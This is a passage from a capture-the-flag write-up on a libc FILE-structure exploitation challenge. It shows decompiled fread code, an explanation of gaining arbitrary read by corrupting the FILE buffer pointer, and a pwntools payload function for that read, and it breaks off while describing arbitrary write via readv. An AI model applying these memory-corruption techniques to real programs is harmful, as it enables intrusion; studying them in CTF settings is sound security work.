&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000000&lt;/span> &lt;span style="color:#00a8c8">struct&lt;/span> &lt;span style="color:#111">FILE&lt;/span> &lt;span style="color:#75715e">// sizeof=0x70
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000000&lt;/span> &lt;span style="color:#111">{&lt;/span> &lt;span style="color:#75715e">// XREF: .data:__stdin/r
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000000&lt;/span> &lt;span style="color:#75715e">// .data:__stdout/r
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000000&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#111">bufmode&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000001&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#111">freethis&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000002&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#111">freebuf&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000003&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#111">forking&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000004&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">oflags&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">0000000&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">state&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">0000000&lt;/span>&lt;span style="color:#111">C&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">fd&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000010&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">pid&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000014&lt;/span> &lt;span style="color:#75715e">// padding byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000015&lt;/span> &lt;span style="color:#75715e">// padding byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000016&lt;/span> &lt;span style="color:#75715e">// padding byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000017&lt;/span> &lt;span style="color:#75715e">// padding byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">0000001&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">size&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">0000001&lt;/span>&lt;span style="color:#111">C&lt;/span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">beg&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000020&lt;/span> &lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span> &lt;span style="color:#111">end&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000024&lt;/span> &lt;span style="color:#75715e">// padding byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000025&lt;/span> &lt;span style="color:#75715e">// padding byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000026&lt;/span> &lt;span style="color:#75715e">// padding byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">00000027&lt;/span> &lt;span style="color:#75715e">// padding byte
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">0000002&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000030&lt;/span> &lt;span style="color:#00a8c8">pthread_mutex_t&lt;/span> &lt;span style="color:#111">lock&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">0000005&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span> &lt;span style="color:#111">Dll&lt;/span> &lt;span style="color:#111">elem&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// XREF: stdin_init:loc_4019BE/o
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">0000005&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span> &lt;span style="color:#75715e">// stdout_init+6/o ...
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#ae81ff">0000006&lt;/span>&lt;span style="color:#ae81ff">8&lt;/span> &lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">getln&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">00000070&lt;/span> &lt;span style="color:#111">};&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>since there is no function pointers in it we will have to get arb read/write and write into the stack.&lt;/p>
&lt;p>opening the fread function, we see that it claims the lock then, calls &lt;code>fread_unlocked&lt;/code> (which is where the logic of fread resides), it’s full decompilation is &lt;a href="https://nothoudaifa.github.io/l3akctf2025-cosmofile/fread-decomp.c">here&lt;/a>.&lt;/p>
&lt;h3 id="getting-arb-read">Getting arb read:&lt;/h3>
&lt;p>we can see at first it does some checks for overflow / file is readable … etc , then it has this piece of code which can be used to getting arb read:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#111">v9&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">count&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#111">__int128&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">stride&lt;/span>&lt;span style="color:#111">;&lt;/span> &lt;span style="color:#75715e">// in our case v9 is (0x1000 * 1) = 0x1000
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">&lt;/span>&lt;span style="color:#111">v13&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">end&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#111">beg&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">v13&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">__int64&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">v9&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">nb&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v9&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#75af00">memmove&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">beg&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#111">v9&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v32&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">beg&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">nb&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">beg&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v32&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">v32&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">end&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">_QWORD&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">beg&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0LL&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#111">count&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>it checks if end - beg , which is the amount of data available in f-&amp;gt;buf is bigger than how much fread wants, and if it is it just memmove’s the data from the f→buf to the user provided buffer (which will be written to stdout after fread finishes) then it returns, since we can control f→buf, we can get arb read using this.&lt;/p>
&lt;p>here is a simple pwntools poc for getting arb read, our payload sets buf to the addr we want to read from and makes sure that end - beg is bigger than 0x1000, note that the payload is just the default values of the FILE struct with &lt;code>beg&lt;/code>, &lt;code>end&lt;/code>, &lt;code>size&lt;/code> and &lt;code>addr&lt;/code> replaced in, since they are the only values we want to change.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-python" data-lang="python">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#00a8c8">def&lt;/span> &lt;span style="color:#75af00">arb_read&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">addr&lt;/span>&lt;span style="color:#111">):&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">sz&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x1000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">beg&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">end&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0x1000&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">payload&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0000024200010100&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0000000300000000&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0000000000000000&lt;/span>&lt;span style="color:#111">)&lt;/span>\
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p32&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">sz&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p32&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">beg&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p32&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">end&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p32&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">addr&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x2&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">3&lt;/span>\
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x000000000042f338&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x000000000042f3d8&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#111">p64&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#ae81ff">0x0000000000000000&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">write_to_FILE&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">payload&lt;/span>&lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">return&lt;/span> &lt;span style="color:#111">call_fread&lt;/span>&lt;span style="color:#111">()&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="getting-arb-write">Getting arb write:&lt;/h3>
&lt;p>the only way we can get arb write is if fread writes into the FILE struct buf, and that only happens in this part of the function:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v9&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">count&lt;/span> &lt;span style="color:#f92672">*&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#111">__int128&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">stride&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v11&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v9&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">end&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#111">beg&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">na&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v11&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">buf&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">memmove&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#111">beg&lt;/span>&lt;span style="color:#111">],&lt;/span> &lt;span style="color:#111">v13&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">fd&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">fd&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v11&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">na&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iov&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">].&lt;/span>&lt;span style="color:#111">iov_base&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">char&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">buf&lt;/span> &lt;span style="color:#f92672">+&lt;/span> &lt;span style="color:#111">v13&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v15&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v11&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#111">v13&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iov&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">0&lt;/span>&lt;span style="color:#111">].&lt;/span>&lt;span style="color:#111">iov_len&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v11&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#111">v13&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">bufmode&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#f92672">||&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">size&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">size&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v11&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#111">size&lt;/span>&lt;span style="color:#111">)&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">size&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0LL&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v17&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">0LL&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">else&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v17&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">f&lt;/span>&lt;span style="color:#f92672">-&amp;gt;&lt;/span>&lt;span style="color:#111">buf&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">if&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">size&lt;/span> &lt;span style="color:#f92672">&amp;gt;&lt;/span> &lt;span style="color:#ae81ff">0xC&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">size&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">unsigned&lt;/span> &lt;span style="color:#00a8c8">int&lt;/span>&lt;span style="color:#111">)(&lt;/span>&lt;span style="color:#111">size&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">12&lt;/span>&lt;span style="color:#111">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iov&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">].&lt;/span>&lt;span style="color:#111">iov_base&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v17&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">iov&lt;/span>&lt;span style="color:#111">[&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>&lt;span style="color:#111">].&lt;/span>&lt;span style="color:#111">iov_len&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">size&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v18&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v19&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">iov&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#00a8c8">while&lt;/span> &lt;span style="color:#111">(&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#111">)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v35&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v15&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v36&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">v18&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">n&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#111">(&lt;/span>&lt;span style="color:#00a8c8">size_t&lt;/span>&lt;span style="color:#111">)&lt;/span>&lt;span style="color:#111">v19&lt;/span>&lt;span style="color:#111">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#111">v20&lt;/span> &lt;span style="color:#f92672">=&lt;/span> &lt;span style="color:#75af00">readv&lt;/span>&lt;span style="color:#111">(&lt;/span>&lt;span style="color:#111">fd&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v19&lt;/span>&lt;span style="color:#111">,&lt;/span> &lt;span style="color:#111">v18&lt;/span>&lt;span style="color:#111">);&lt;/span>
